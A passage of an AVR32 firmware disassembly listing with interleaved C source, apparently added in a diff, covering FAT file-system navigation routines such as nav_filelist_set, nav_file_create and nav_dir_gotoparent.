+800060c0: c0 50 breq 800060ca + { + ((FS_STR_UNICODE)sz_name )[0] += u16_lgt; +800060c2: 8a 08 ld.sh r8,r5[0x0] +800060c4: 40 09 lddsp r9,sp[0x0] +800060c6: 12 08 add r8,r9 +800060c8: aa 08 st.h r5[0x0],r8 + } + fs_g_nav_fast.u16_entry_pos_sel_file = u16_ptr_save_entry; +800060ca: 49 48 lddpc r8,80006118 +800060cc: b0 13 st.h r8[0x2],r3 +800060ce: 30 1c mov r12,1 + return true; +800060d0: c1 f8 rjmp 8000610e + } + + if ( FS_NO_LAST_LFN_ENTRY != fs_g_status ) +800060d2: 49 79 lddpc r9,8000612c +800060d4: 13 88 ld.ub r8,r9[0x0] +800060d6: e2 08 18 00 cp.b r8,r1 +800060da: c0 70 breq 800060e8 + { + // Go to the main entry file (=short name entry) + fs_g_nav_fast.u16_entry_pos_sel_file = u16_ptr_save_entry; +800060dc: a4 13 st.h r2[0x2],r3 + + if ( FS_ERR_ENTRY_BAD == fs_g_status ) +800060de: 30 b9 mov r9,11 +800060e0: f2 08 18 00 cp.b r8,r9 +800060e4: c1 41 brne 8000610c +800060e6: cd 5b rjmp 80006090 + continue; // restart the loop + } + // here, it is a error system or the string don't match with the file name + break; + } + if( g_b_string_length ) +800060e8: 49 09 lddpc r9,80006128 +800060ea: 13 88 ld.ub r8,r9[0x0] +800060ec: 30 09 mov r9,0 +800060ee: f2 08 18 00 cp.b r8,r9 +800060f2: c0 60 breq 800060fe + { + u16_lgt += FS_SIZE_LFN_ENTRY; +800060f4: 40 08 lddsp r8,sp[0x0] +800060f6: 2f 38 sub r8,-13 +800060f8: 5c 88 casts.h r8 +800060fa: 50 08 stdsp sp[0x0],r8 +800060fc: c0 48 rjmp 80006104 + } + else + { + // Increment the string to store the next part of file name + sz_name += FS_SIZE_LFN_ENTRY * (Is_unicode? 2 : 1 ); +800060fe: 2f 35 sub r5,-13 + u8_size_max -= FS_SIZE_LFN_ENTRY; +80006100: 20 d7 sub r7,13 +80006102: 5c 57 castu.b r7 + } + fs_g_nav_fast.u16_entry_pos_sel_file--; // Go to the next part of long file name +80006104: 84 18 ld.sh r8,r2[0x2] +80006106: 20 18 sub r8,1 +80006108: a4 18 st.h r2[0x2],r8 +8000610a: cc 4b rjmp 80006092 +8000610c: 30 0c mov r12,0 + + } // end of loop while(1) + return false; +} +8000610e: 2f fd sub sp,-4 +80006110: d8 32 popm r0-r7,pc +80006112: 00 00 add r0,r0 +80006114: 80 00 ld.sh r0,r0[0x0] +80006116: 50 e8 stdsp sp[0x38],r8 +80006118: 00 00 add r0,r0 +8000611a: 06 d0 st.w --r3,r0 +8000611c: 80 00 ld.sh r0,r0[0x0] +8000611e: 4e 5c lddpc r12,800062b0 +80006120: 80 00 ld.sh r0,r0[0x0] +80006122: 44 2c lddsp r12,sp[0x108] +80006124: 80 00 ld.sh r0,r0[0x0] +80006126: 42 7c lddsp r12,sp[0x9c] +80006128: 00 00 add r0,r0 +8000612a: 06 d5 st.w --r3,r5 +8000612c: 00 00 add r0,r0 +8000612e: 06 d4 st.w --r3,r4 + +80006130 : +//! @verbatim +//! Note: if no file is selected then nav_filelist_set( 0 , FS_NEXT ) goes to the first entry of the file list. +//! @endverbatim +//! +Bool nav_filelist_set( uint16_t u16_nb , Bool b_direction ) +{ +80006130: d4 31 pushm r0-r7,lr +80006132: 20 4d sub sp,16 +80006134: 50 0c stdsp sp[0x0],r12 +80006136: 16 90 mov r0,r11 + uint16_t u16_ptr_save_entry; + uint16_t u16_save_pos_sel_file; + Bool b_save_entry_type; + Bool b_find_last_entry = false; + + if ( !fat_check_mount_noopen()) +80006138: f0 1f 00 53 mcall 80006284 +8000613c: e0 80 00 a1 breq 8000627e + return false; + + // Save the current selection + u16_ptr_save_entry = fs_g_nav_fast.u16_entry_pos_sel_file; +80006140: 4d 28 lddpc r8,80006288 +80006142: 90 18 ld.sh r8,r8[0x2] +80006144: 50 38 stdsp sp[0xc],r8 + u16_save_pos_sel_file = fs_g_nav.u16_pos_sel_file; +80006146: 4d 28 lddpc r8,8000628c +80006148: f1 0a 00 24 ld.sh r10,r8[36] +8000614c: 50 2a stdsp sp[0x8],r10 + b_save_entry_type = fs_g_nav.b_mode_nav; +8000614e: f1 38 00 2c ld.ub r8,r8[44] +80006152: 50 18 stdsp sp[0x4],r8 +80006154: 30 05 mov r5,0 + + // Loop in directory + while( 1 ) + { + if(( FS_FIND_NEXT == b_direction ) +80006156: 30 12 mov r2,1 +80006158: 30 07 mov r7,0 + || ( b_find_last_entry ) ) + { + if ( FS_END_FIND == fs_g_nav_fast.u16_entry_pos_sel_file ) +8000615a: 4c c3 lddpc r3,80006288 + break; + } + if ( 0 == fs_g_nav_fast.u16_entry_pos_sel_file ) + { + // beginning of directory + if ( (FS_DIR == fs_g_nav.b_mode_nav ) || fs_g_nav.b_mode_nav_single ) +8000615c: 4c c6 lddpc r6,8000628c + continue; + } + } + + // Here error, check type of error + if(( FS_ERR_ENTRY_EMPTY == fs_g_status ) +8000615e: 4c d1 lddpc r1,80006290 + b_save_entry_type = fs_g_nav.b_mode_nav; + + // Loop in directory + while( 1 ) + { + if(( FS_FIND_NEXT == b_direction ) +80006160: e4 00 18 00 cp.b r0,r2 +80006164: 5f 04 sreq r4 +80006166: ee 05 18 00 cp.b r5,r7 +8000616a: 5f 18 srne r8 +8000616c: e9 e8 10 08 or r8,r4,r8 +80006170: ee 08 18 00 cp.b r8,r7 +80006174: c0 d0 breq 8000618e + || ( b_find_last_entry ) ) + { + if ( FS_END_FIND == fs_g_nav_fast.u16_entry_pos_sel_file ) +80006176: 86 18 ld.sh r8,r3[0x2] +80006178: 3f e9 mov r9,-2 +8000617a: f2 08 19 00 cp.h r8,r9 +8000617e: c0 51 brne 80006188 + { + // Too many files in directory (case impossible) + fs_g_status = FS_ERR_FS; +80006180: 30 89 mov r9,8 +80006182: 4c 48 lddpc r8,80006290 +80006184: b0 89 st.b r8[0x0],r9 + break; +80006186: c7 18 rjmp 80006268 + } + fs_g_nav_fast.u16_entry_pos_sel_file++; // Update entry position +80006188: 2f f8 sub r8,-1 +8000618a: a6 18 st.h r3[0x2],r8 +8000618c: c1 e8 rjmp 800061c8 + } + else + { + if ( FS_NO_SEL == fs_g_nav_fast.u16_entry_pos_sel_file ) +8000618e: 86 18 ld.sh r8,r3[0x2] +80006190: 3f fa mov r10,-1 +80006192: f4 08 19 00 cp.h r8,r10 +80006196: c0 51 brne 800061a0 + { + // No selected file then previous action impossible + fs_g_status = FS_ERR_NO_FIND; +80006198: 30 99 mov r9,9 +8000619a: 4b e8 lddpc r8,80006290 +8000619c: b0 89 st.b r8[0x0],r9 + break; +8000619e: c6 58 rjmp 80006268 + } + if ( 0 == fs_g_nav_fast.u16_entry_pos_sel_file ) +800061a0: 58 08 cp.w r8,0 +800061a2: c1 11 brne 800061c4 + { + // beginning of directory + if ( (FS_DIR == fs_g_nav.b_mode_nav ) || fs_g_nav.b_mode_nav_single ) +800061a4: ed 38 00 2c ld.ub r8,r6[44] +800061a8: ee 08 18 00 cp.b r8,r7 +800061ac: c0 80 breq 800061bc +800061ae: ed 38 00 2d ld.ub r8,r6[45] +800061b2: ee 08 18 00 cp.b r8,r7 +800061b6: c0 31 brne 800061bc +800061b8: 30 15 mov r5,1 +800061ba: c0 78 rjmp 800061c8 + { + // End of directory scan, then no previous action possible + fs_g_status = FS_ERR_NO_FIND; +800061bc: 30 99 mov r9,9 +800061be: 4b 58 lddpc r8,80006290 +800061c0: b0 89 st.b r8[0x0],r9 + break; +800061c2: c5 38 rjmp 80006268 + } + // End of file scan, then find last directory + b_find_last_entry = true; + }else{ + fs_g_nav_fast.u16_entry_pos_sel_file--; // Update entry position +800061c4: 20 18 sub r8,1 +800061c6: a6 18 st.h r3[0x2],r8 + } + } + + if( !fat_read_dir()) +800061c8: f0 1f 00 33 mcall 80006294 +800061cc: c0 71 brne 800061da + { + if( FS_ERR_OUT_LIST != fs_g_status ) +800061ce: 03 89 ld.ub r9,r1[0x0] +800061d0: 31 a8 mov r8,26 +800061d2: f0 09 18 00 cp.b r9,r8 +800061d6: c3 00 breq 80006236 +800061d8: c4 88 rjmp 80006268 + break; // Error + }else{ + if ( fat_entry_check( fs_g_nav.b_mode_nav ) ) +800061da: ed 3c 00 2c ld.ub r12,r6[44] +800061de: f0 1f 00 2f mcall 80006298 +800061e2: c1 c0 breq 8000621a + { + // HERE, the file entry match with the type seached + + if( b_find_last_entry ) +800061e4: 58 05 cp.w r5,0 +800061e6: cb d1 brne 80006160 + continue; // The search of last directory is on going then continue the search + + // Update position in directory + if ( FS_FIND_NEXT == b_direction ) +800061e8: 58 04 cp.w r4,0 +800061ea: c0 70 breq 800061f8 + fs_g_nav.u16_pos_sel_file++; +800061ec: ed 08 00 24 ld.sh r8,r6[36] +800061f0: 2f f8 sub r8,-1 +800061f2: ed 58 00 24 st.h r6[36],r8 +800061f6: c0 68 rjmp 80006202 + else + fs_g_nav.u16_pos_sel_file--; +800061f8: ed 08 00 24 ld.sh r8,r6[36] +800061fc: 20 18 sub r8,1 +800061fe: ed 58 00 24 st.h r6[36],r8 + + if (0 == u16_nb) +80006202: 40 09 lddsp r9,sp[0x0] +80006204: 58 09 cp.w r9,0 +80006206: c0 51 brne 80006210 + { + // It is the end of move then update file information + fat_get_entry_info(); +80006208: f0 1f 00 25 mcall 8000629c +8000620c: 30 1c mov r12,1 + return true; // NB FILE FIND +8000620e: c3 88 rjmp 8000627e + } + u16_nb--; +80006210: 40 08 lddsp r8,sp[0x0] +80006212: 20 18 sub r8,1 +80006214: 5c 88 casts.h r8 +80006216: 50 08 stdsp sp[0x0],r8 + continue; +80006218: ca 4b rjmp 80006160 + } + } + + // Here error, check type of error + if(( FS_ERR_ENTRY_EMPTY == fs_g_status ) +8000621a: 03 88 ld.ub r8,r1[0x0] +8000621c: 30 a9 mov r9,10 +8000621e: f2 08 18 00 cp.b r8,r9 +80006222: 5f 09 sreq r9 +80006224: 31 aa mov r10,26 +80006226: f4 08 18 00 cp.b r8,r10 +8000622a: 5f 08 sreq r8 +8000622c: f3 e8 10 08 or r8,r9,r8 +80006230: ee 08 18 00 cp.b r8,r7 +80006234: c9 60 breq 80006160 + || ( FS_ERR_OUT_LIST == fs_g_status ) ) + { + // Here, end of the directory + if( b_find_last_entry ) +80006236: 58 05 cp.w r5,0 +80006238: c0 50 breq 80006242 + { + // Re enable the previous command at the end of directory to find the last directory entry + b_find_last_entry = false; + fs_g_nav.b_mode_nav = FS_DIR; +8000623a: ed 67 00 2c st.b r6[44],r7 +8000623e: 30 05 mov r5,0 + continue; +80006240: c9 0b rjmp 80006160 + } + // Here, a next action is on going + if ( (FS_FILE == fs_g_nav.b_mode_nav) || fs_g_nav.b_mode_nav_single ) +80006242: ed 38 00 2c ld.ub r8,r6[44] +80006246: e4 08 18 00 cp.b r8,r2 +8000624a: c0 60 breq 80006256 +8000624c: ed 38 00 2d ld.ub r8,r6[45] +80006250: ee 08 18 00 cp.b r8,r7 +80006254: c0 50 breq 8000625e + { + // End of next file action then end of next action + fs_g_status = FS_ERR_NO_FIND; // No file found +80006256: 30 99 mov r9,9 +80006258: 48 e8 lddpc r8,80006290 +8000625a: b0 89 st.b r8[0x0],r9 + break; // end of search +8000625c: c0 68 rjmp 80006268 + }else{ + // End of next dir action then starts the next file action at the beginning of directory + fs_g_nav_fast.u16_entry_pos_sel_file = 0xFFFF; +8000625e: 3f f8 mov r8,-1 +80006260: a6 18 st.h r3[0x2],r8 + fs_g_nav.b_mode_nav = FS_FILE; +80006262: ed 62 00 2c st.b r6[44],r2 +80006266: c7 db rjmp 80006160 + } + } + } // end of loop while(1) + + fs_g_nav.b_mode_nav = b_save_entry_type; +80006268: 48 98 lddpc r8,8000628c +8000626a: 40 1a lddsp r10,sp[0x4] +8000626c: f1 6a 00 2c st.b r8[44],r10 + fs_g_nav_fast.u16_entry_pos_sel_file = u16_ptr_save_entry; +80006270: 48 69 lddpc r9,80006288 +80006272: 40 3a lddsp r10,sp[0xc] +80006274: b2 1a st.h r9[0x2],r10 + fs_g_nav.u16_pos_sel_file = u16_save_pos_sel_file; +80006276: 40 29 lddsp r9,sp[0x8] +80006278: f1 59 00 24 st.h r8[36],r9 +8000627c: 30 0c mov r12,0 + return false; +} +8000627e: 2f cd sub sp,-16 +80006280: d8 32 popm r0-r7,pc +80006282: 00 00 add r0,r0 +80006284: 80 00 ld.sh r0,r0[0x0] +80006286: 51 48 stdsp sp[0x50],r8 +80006288: 00 00 add r0,r0 +8000628a: 06 d0 st.w --r3,r0 +8000628c: 00 00 add r0,r0 +8000628e: 06 84 andn r4,r3 +80006290: 00 00 add r0,r0 +80006292: 06 d4 st.w --r3,r4 +80006294: 80 00 ld.sh r0,r0[0x0] +80006296: 4e 5c lddpc r12,80006428 +80006298: 80 00 ld.sh r0,r0[0x0] +8000629a: 45 8c lddsp r12,sp[0x160] +8000629c: 80 00 ld.sh r0,r0[0x0] +8000629e: 45 44 lddsp r4,sp[0x150] + +800062a0 : +//! @verbatim +//! This function starts a search at the next position of the current in file list +//! @endverbatim +//! +Bool nav_filelist_findname( const FS_STRING sz_name , Bool b_match_case ) +{ +800062a0: d4 21 pushm r4-r7,lr +800062a2: 18 95 mov r5,r12 +800062a4: 16 94 mov r4,r11 + while( 1 ) + { + if ( !nav_filelist_set( 0, FS_FIND_NEXT )) +800062a6: 30 16 mov r6,1 +800062a8: 30 07 mov r7,0 +800062aa: 0c 9b mov r11,r6 +800062ac: 0e 9c mov r12,r7 +800062ae: f0 1f 00 07 mcall 800062c8 +800062b2: c0 90 breq 800062c4 + return false; + if ( nav_file_name( sz_name , 0 , FS_NAME_CHECK , b_match_case )) +800062b4: 08 99 mov r9,r4 +800062b6: 0e 9a mov r10,r7 +800062b8: 0e 9b mov r11,r7 +800062ba: 0a 9c mov r12,r5 +800062bc: f0 1f 00 04 mcall 800062cc +800062c0: cf 50 breq 800062aa +800062c2: 30 1c mov r12,1 + return true; + } +} +800062c4: d8 22 popm r4-r7,pc +800062c6: 00 00 add r0,r0 +800062c8: 80 00 ld.sh r0,r0[0x0] +800062ca: 61 30 ld.w r0,r0[0x4c] +800062cc: 80 00 ld.sh r0,r0[0x0] +800062ce: 60 40 ld.w r0,r0[0x10] + +800062d0 : +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_reset( void ) +{ +800062d0: d4 01 pushm lr + if ( !fat_check_mount_noopen()) +800062d2: f0 1f 00 04 mcall 800062e0 +800062d6: c0 40 breq 800062de + return false; + + // No file selected and reset navigation + fat_clear_entry_info_and_ptr(); +800062d8: f0 1f 00 03 mcall 800062e4 +800062dc: 30 1c mov r12,1 + return true; +} +800062de: d8 02 popm pc +800062e0: 80 00 ld.sh r0,r0[0x0] +800062e2: 51 48 stdsp sp[0x50],r8 +800062e4: 80 00 ld.sh r0,r0[0x0] +800062e6: 42 00 lddsp r0,sp[0x80] + +800062e8 : +//! @verbatim +//! If you ues this routine to create a file, then you must called file_open() to open this new file +//! @endverbatim +//! +Bool nav_file_create( const FS_STRING sz_name ) +{ +800062e8: eb cd 40 80 pushm r7,lr +800062ec: 18 97 mov r7,r12 + // Check if the name already exists + if (!nav_filelist_reset()) +800062ee: f0 1f 00 13 mcall 80006338 +800062f2: c2 10 breq 80006334 + return false; + if (nav_filelist_findname(sz_name , false)) +800062f4: 30 0b mov r11,0 +800062f6: 0e 9c mov r12,r7 +800062f8: f0 1f 00 11 mcall 8000633c +800062fc: c0 60 breq 80006308 + { + fs_g_status = FS_ERR_FILE_EXIST; +800062fe: 32 a9 mov r9,42 +80006300: 49 08 lddpc r8,80006340 +80006302: b0 89 st.b r8[0x0],r9 +80006304: e3 cf 80 80 ldm sp++,r7,pc,r12=0 + return false; // File exist -> it is not possible to create this name + } + // FYC: here, the selection is at the end of the list + // Create name entrys + if ( !fat_create_entry_file_name( sz_name )) +80006308: 0e 9c mov r12,r7 +8000630a: f0 1f 00 0f mcall 80006344 +8000630e: c1 30 breq 80006334 + return false; // error + // By default the information about the new file is NULL + fs_g_nav_entry.u32_cluster = 0; // No first cluster +80006310: 48 e8 lddpc r8,80006348 +80006312: 30 09 mov r9,0 +80006314: 91 19 st.w r8[0x4],r9 + fs_g_nav_entry.u32_size = 0; // The size is null +80006316: 91 29 st.w r8[0x8],r9 + fs_g_nav_entry.u8_attr = 0; // Attribut is a file +80006318: b0 a9 st.b r8[0x2],r9 + + // It is the last FILE of the list + fs_g_nav.u16_pos_sel_file++; +8000631a: 48 d8 lddpc r8,8000634c +8000631c: f1 09 00 24 ld.sh r9,r8[36] +80006320: 2f f9 sub r9,-1 +80006322: f1 59 00 24 st.h r8[36],r9 + fs_g_nav.b_mode_nav = FS_FILE; +80006326: 30 19 mov r9,1 +80006328: f1 69 00 2c st.b r8[44],r9 + return fat_cache_flush(); +8000632c: f0 1f 00 09 mcall 80006350 +80006330: e3 cd 80 80 ldm sp++,r7,pc +80006334: e3 cf 80 80 ldm sp++,r7,pc,r12=0 +80006338: 80 00 ld.sh r0,r0[0x0] +8000633a: 62 d0 ld.w r0,r1[0x34] +8000633c: 80 00 ld.sh r0,r0[0x0] +8000633e: 62 a0 ld.w r0,r1[0x28] +80006340: 00 00 add r0,r0 +80006342: 06 d4 st.w --r3,r4 +80006344: 80 00 ld.sh r0,r0[0x0] +80006346: 5b 10 cp.w r0,-15 +80006348: 00 00 add r0,r0 +8000634a: 04 44 or r4,r2 +8000634c: 00 00 add r0,r0 +8000634e: 06 84 andn r4,r3 +80006350: 80 00 ld.sh r0,r0[0x0] +80006352: 47 c0 lddsp r0,sp[0x1f0] + +80006354 : +//! After, the file list changes and contains the files and directories of the new directory. +//! By default, the file selected in file list is the previous (children) directory. +//! @endverbatim +//! +Bool nav_dir_gotoparent( void ) +{ +80006354: d4 21 pushm r4-r7,lr + uint32_t u32_cluster_old_dir; + + if (!fat_check_mount_noopen()) +80006356: f0 1f 00 1f mcall 800063d0 +8000635a: c3 80 breq 800063ca + return false; + + if (0 == fs_g_nav.u32_cluster_sel_dir) +8000635c: 49 e8 lddpc r8,800063d4 +8000635e: 70 88 ld.w r8,r8[0x20] +80006360: 58 08 cp.w r8,0 +80006362: c0 51 brne 8000636c + { + fs_g_status = FS_ERR_IS_ROOT; // There aren't parent +80006364: 31 99 mov r9,25 +80006366: 49 d8 lddpc r8,800063d8 +80006368: b0 89 st.b r8[0x0],r9 +8000636a: d8 2a popm r4-r7,pc,r12=0 + return false; + } + + // Select and read information about directory ".." + fs_g_nav_fast.u16_entry_pos_sel_file = 1; +8000636c: 30 19 mov r9,1 +8000636e: 49 c8 lddpc r8,800063dc +80006370: b0 19 st.h r8[0x2],r9 + if ( !fat_read_dir()) +80006372: f0 1f 00 1c mcall 800063e0 +80006376: c2 a0 breq 800063ca + return false; + fat_get_entry_info(); +80006378: f0 1f 00 1b mcall 800063e4 + // Save the children directory cluster + u32_cluster_old_dir = fs_g_nav.u32_cluster_sel_dir; +8000637c: 49 68 lddpc r8,800063d4 +8000637e: 70 87 ld.w r7,r8[0x20] + + // Select the parent directory via information present in the current directory ".." + fs_g_nav.u32_cluster_sel_dir = fs_g_nav_entry.u32_cluster; +80006380: 49 a9 lddpc r9,800063e8 +80006382: 72 19 ld.w r9,r9[0x4] +80006384: 91 89 st.w r8[0x20],r9 + + // Select the children directory in new directory (=parent directory) + if( false == nav_filelist_reset()) +80006386: f0 1f 00 1a mcall 800063ec +8000638a: c2 00 breq 800063ca + return false; + if( fs_g_nav.b_mode_nav_single && (FS_DIR != fs_g_nav.b_mode_nav) ) +8000638c: 49 28 lddpc r8,800063d4 +8000638e: f1 39 00 2d ld.ub r9,r8[45] +80006392: 30 08 mov r8,0 +80006394: f0 09 18 00 cp.b r9,r8 +80006398: c0 d0 breq 800063b2 +8000639a: 48 f8 lddpc r8,800063d4 +8000639c: f1 39 00 2c ld.ub r9,r8[44] +800063a0: 30 08 mov r8,0 +800063a2: f0 09 18 00 cp.b r9,r8 +800063a6: c0 60 breq 800063b2 +800063a8: c1 28 rjmp 800063cc + return true; + + while( nav_filelist_set( 0 , FS_FIND_NEXT ) ) + { + if (fs_g_nav_entry.u32_cluster == u32_cluster_old_dir) +800063aa: 6c 18 ld.w r8,r6[0x4] +800063ac: 0e 38 cp.w r8,r7 +800063ae: c0 51 brne 800063b8 +800063b0: c0 e8 rjmp 800063cc + if( false == nav_filelist_reset()) + return false; + if( fs_g_nav.b_mode_nav_single && (FS_DIR != fs_g_nav.b_mode_nav) ) + return true; + + while( nav_filelist_set( 0 , FS_FIND_NEXT ) ) +800063b2: 30 15 mov r5,1 +800063b4: 30 04 mov r4,0 + { + if (fs_g_nav_entry.u32_cluster == u32_cluster_old_dir) +800063b6: 48 d6 lddpc r6,800063e8 + if( false == nav_filelist_reset()) + return false; + if( fs_g_nav.b_mode_nav_single && (FS_DIR != fs_g_nav.b_mode_nav) ) + return true; + + while( nav_filelist_set( 0 , FS_FIND_NEXT ) ) +800063b8: 0a 9b mov r11,r5 +800063ba: 08 9c mov r12,r4 +800063bc: f0 1f 00 0d mcall 800063f0 +800063c0: cf 51 brne 800063aa + { + if (fs_g_nav_entry.u32_cluster == u32_cluster_old_dir) + return true; // It is the children directory + } + fs_g_status = FS_ERR_FS; +800063c2: 30 89 mov r9,8 +800063c4: 48 58 lddpc r8,800063d8 +800063c6: b0 89 st.b r8[0x0],r9 + return false; +800063c8: d8 22 popm r4-r7,pc +800063ca: d8 2a popm r4-r7,pc,r12=0 +800063cc: da 2a popm r4-r7,pc,r12=1 +800063ce: 00 00 add r0,r0 +800063d0: 80 00 ld.sh r0,r0[0x0] +800063d2: 51 48 stdsp sp[0x50],r8 +800063d4: 00 00 add r0,r0 +800063d6: 06 84 andn r4,r3 +800063d8: 00 00 add r0,r0 +800063da: 06 d4 st.w --r3,r4 +800063dc: 00 00 add r0,r0 +800063de: 06 d0 st.w --r3,r0 +800063e0: 80 00 ld.sh r0,r0[0x0] +800063e2: 4e 5c lddpc r12,80006574 +800063e4: 80 00 ld.sh r0,r0[0x0] +800063e6: 45 44 lddsp r4,sp[0x150] +800063e8: 00 00 add r0,r0 +800063ea: 04 44 or r4,r2 +800063ec: 80 00 ld.sh r0,r0[0x0] +800063ee: 62 d0 ld.w r0,r1[0x34] +800063f0: 80 00 ld.sh r0,r0[0x0] +800063f2: 61 30 ld.w r0,r0[0x4c] + +800063f4 : +//! After this routine the file list changes and contains the files and directories of the new directory. +//! By default no file is selected. +//! @endverbatim +//! +Bool nav_dir_cd( void ) +{ +800063f4: d4 01 pushm lr + if ( !fat_check_mount_select_noopen()) +800063f6: f0 1f 00 0a mcall 8000641c +800063fa: c1 00 breq 8000641a + return false; + + // The current selection, is it a directory ? + if ( !fat_entry_is_dir()) +800063fc: f0 1f 00 09 mcall 80006420 +80006400: c0 d0 breq 8000641a + return false; + + // Select the current directory + fs_g_nav.u16_entry_pos_sel_dir = fs_g_nav_fast.u16_entry_pos_sel_file; +80006402: 48 98 lddpc r8,80006424 +80006404: 48 99 lddpc r9,80006428 +80006406: 92 19 ld.sh r9,r9[0x2] +80006408: f1 59 00 1c st.h r8[28],r9 + fs_g_nav.u32_cluster_sel_dir = fs_g_nav_entry.u32_cluster; +8000640c: 48 89 lddpc r9,8000642c +8000640e: 72 19 ld.w r9,r9[0x4] +80006410: 91 89 st.w r8[0x20],r9 + + // Reset file list + if( false == nav_filelist_reset()) +80006412: f0 1f 00 08 mcall 80006430 +80006416: 5f 1c srne r12 +80006418: d8 02 popm pc +8000641a: d8 0a popm pc,r12=0 +8000641c: 80 00 ld.sh r0,r0[0x0] +8000641e: 51 24 stdsp sp[0x48],r4 +80006420: 80 00 ld.sh r0,r0[0x0] +80006422: 41 e8 lddsp r8,sp[0x78] +80006424: 00 00 add r0,r0 +80006426: 06 84 andn r4,r3 +80006428: 00 00 add r0,r0 +8000642a: 06 d0 st.w --r3,r0 +8000642c: 00 00 add r0,r0 +8000642e: 04 44 or r4,r2 +80006430: 80 00 ld.sh r0,r0[0x0] +80006432: 62 d0 ld.w r0,r1[0x34] + +80006434 : +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_first( Bool b_type ) +{ +80006434: d4 21 pushm r4-r7,lr +80006436: 18 97 mov r7,r12 + // Reset position + if ( !nav_filelist_reset()) +80006438: f0 1f 00 0b mcall 80006464 +8000643c: c0 81 brne 8000644c +8000643e: d8 22 popm r4-r7,pc + return false; + // Find the first file or directory + while( nav_filelist_set( 0 , FS_FIND_NEXT ) ) + { + if( b_type == fs_g_nav.b_mode_nav ) +80006440: ed 38 00 2c ld.ub r8,r6[44] +80006444: ee 08 18 00 cp.b r8,r7 +80006448: c0 51 brne 80006452 +8000644a: da 2a popm r4-r7,pc,r12=1 +{ + // Reset position + if ( !nav_filelist_reset()) + return false; + // Find the first file or directory + while( nav_filelist_set( 0 , FS_FIND_NEXT ) ) +8000644c: 30 15 mov r5,1 +8000644e: 30 04 mov r4,0 + { + if( b_type == fs_g_nav.b_mode_nav ) +80006450: 48 66 lddpc r6,80006468 +{ + // Reset position + if ( !nav_filelist_reset()) + return false; + // Find the first file or directory + while( nav_filelist_set( 0 , FS_FIND_NEXT ) ) +80006452: 0a 9b mov r11,r5 +80006454: 08 9c mov r12,r4 +80006456: f0 1f 00 06 mcall 8000646c +8000645a: cf 31 brne 80006440 + { + if( b_type == fs_g_nav.b_mode_nav ) + return true; // First file or directory found + } + fs_g_status = FS_ERR_NO_FIND; +8000645c: 30 99 mov r9,9 +8000645e: 48 58 lddpc r8,80006470 +80006460: b0 89 st.b r8[0x0],r9 + return false; +} +80006462: d8 22 popm r4-r7,pc +80006464: 80 00 ld.sh r0,r0[0x0] +80006466: 62 d0 ld.w r0,r1[0x34] +80006468: 00 00 add r0,r0 +8000646a: 06 84 andn r4,r3 +8000646c: 80 00 ld.sh r0,r0[0x0] +8000646e: 61 30 ld.w r0,r0[0x4c] +80006470: 00 00 add r0,r0 +80006472: 06 d4 st.w --r3,r4 + +80006474 : +//! FS_FILE to compute the number of files
+//! +//! @return number of files or directories in file list +//! +uint16_t nav_filelist_nb( Bool b_type ) +{ +80006474: d4 31 pushm r0-r7,lr +80006476: 18 91 mov r1,r12 + uint16_t u16_save_position; + uint16_t u16_save_number_dir; + uint16_t u16_save_number_file; + + // Save current position + u16_save_position = fs_g_nav.u16_pos_sel_file; +80006478: 49 98 lddpc r8,800064dc +8000647a: f1 00 00 24 ld.sh r0,r8[36] + // Reset position + if ( !nav_filelist_reset()) +8000647e: f0 1f 00 19 mcall 800064e0 +80006482: c0 31 brne 80006488 +80006484: 30 04 mov r4,0 +80006486: c2 88 rjmp 800064d6 +80006488: 30 04 mov r4,0 +8000648a: 08 97 mov r7,r4 + return 0; + // Scan all directory + u16_save_number_dir = 0; + u16_save_number_file = 0; + while( nav_filelist_set( 0 , FS_FIND_NEXT ) ) +8000648c: 30 13 mov r3,1 +8000648e: 08 92 mov r2,r4 + { + if( FS_FILE == fs_g_nav.b_mode_nav ) +80006490: 49 36 lddpc r6,800064dc +80006492: 30 15 mov r5,1 +80006494: c0 b8 rjmp 800064aa +80006496: ed 38 00 2c ld.ub r8,r6[44] +8000649a: ea 08 18 00 cp.b r8,r5 +8000649e: c0 41 brne 800064a6 + u16_save_number_file++; // It is a file +800064a0: 2f f4 sub r4,-1 +800064a2: 5c 84 casts.h r4 +800064a4: c0 38 rjmp 800064aa + else + u16_save_number_dir++; // It is a directory +800064a6: 2f f7 sub r7,-1 +800064a8: 5c 87 casts.h r7 + if ( !nav_filelist_reset()) + return 0; + // Scan all directory + u16_save_number_dir = 0; + u16_save_number_file = 0; + while( nav_filelist_set( 0 , FS_FIND_NEXT ) ) +800064aa: 06 9b mov r11,r3 +800064ac: 04 9c mov r12,r2 +800064ae: f0 1f 00 0e mcall 800064e4 +800064b2: cf 21 brne 80006496 + u16_save_number_file++; // It is a file + else + u16_save_number_dir++; // It is a directory + } + // Restore previous position + nav_filelist_reset(); +800064b4: f0 1f 00 0b mcall 800064e0 + if ( u16_save_position != FS_NO_SEL ) +800064b8: 3f f8 mov r8,-1 +800064ba: f0 00 19 00 cp.h r0,r8 +800064be: c0 60 breq 800064ca + { + nav_filelist_set( u16_save_position , FS_FIND_NEXT ); +800064c0: 30 1b mov r11,1 +800064c2: f9 d0 c0 10 bfextu r12,r0,0x0,0x10 +800064c6: f0 1f 00 08 mcall 800064e4 + } + // Return the value asked + if( FS_FILE == b_type ) +800064ca: 30 18 mov r8,1 +800064cc: 5c 87 casts.h r7 +800064ce: e2 08 18 00 cp.b r8,r1 +800064d2: ee 04 17 10 movne r4,r7 + return u16_save_number_file; + else + return u16_save_number_dir; +} +800064d6: 08 9c mov r12,r4 +800064d8: d8 32 popm r0-r7,pc +800064da: 00 00 add r0,r0 +800064dc: 00 00 add r0,r0 +800064de: 06 84 andn r4,r3 +800064e0: 80 00 ld.sh r0,r0[0x0] +800064e2: 62 d0 ld.w r0,r1[0x34] +800064e4: 80 00 ld.sh r0,r0[0x0] +800064e6: 61 30 ld.w r0,r0[0x4c] + +800064e8 : +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_last( Bool b_type ) +{ +800064e8: eb cd 40 c0 pushm r6-r7,lr +800064ec: 18 96 mov r6,r12 + uint16_t u16_nb; + + // Get number of file or directory + u16_nb = nav_filelist_nb( b_type ); +800064ee: f0 1f 00 0f mcall 80006528 +800064f2: ef dc b0 10 bfexts r7,r12,0x0,0x10 + if( 0 == u16_nb ) +800064f6: c0 61 brne 80006502 + { + fs_g_status = 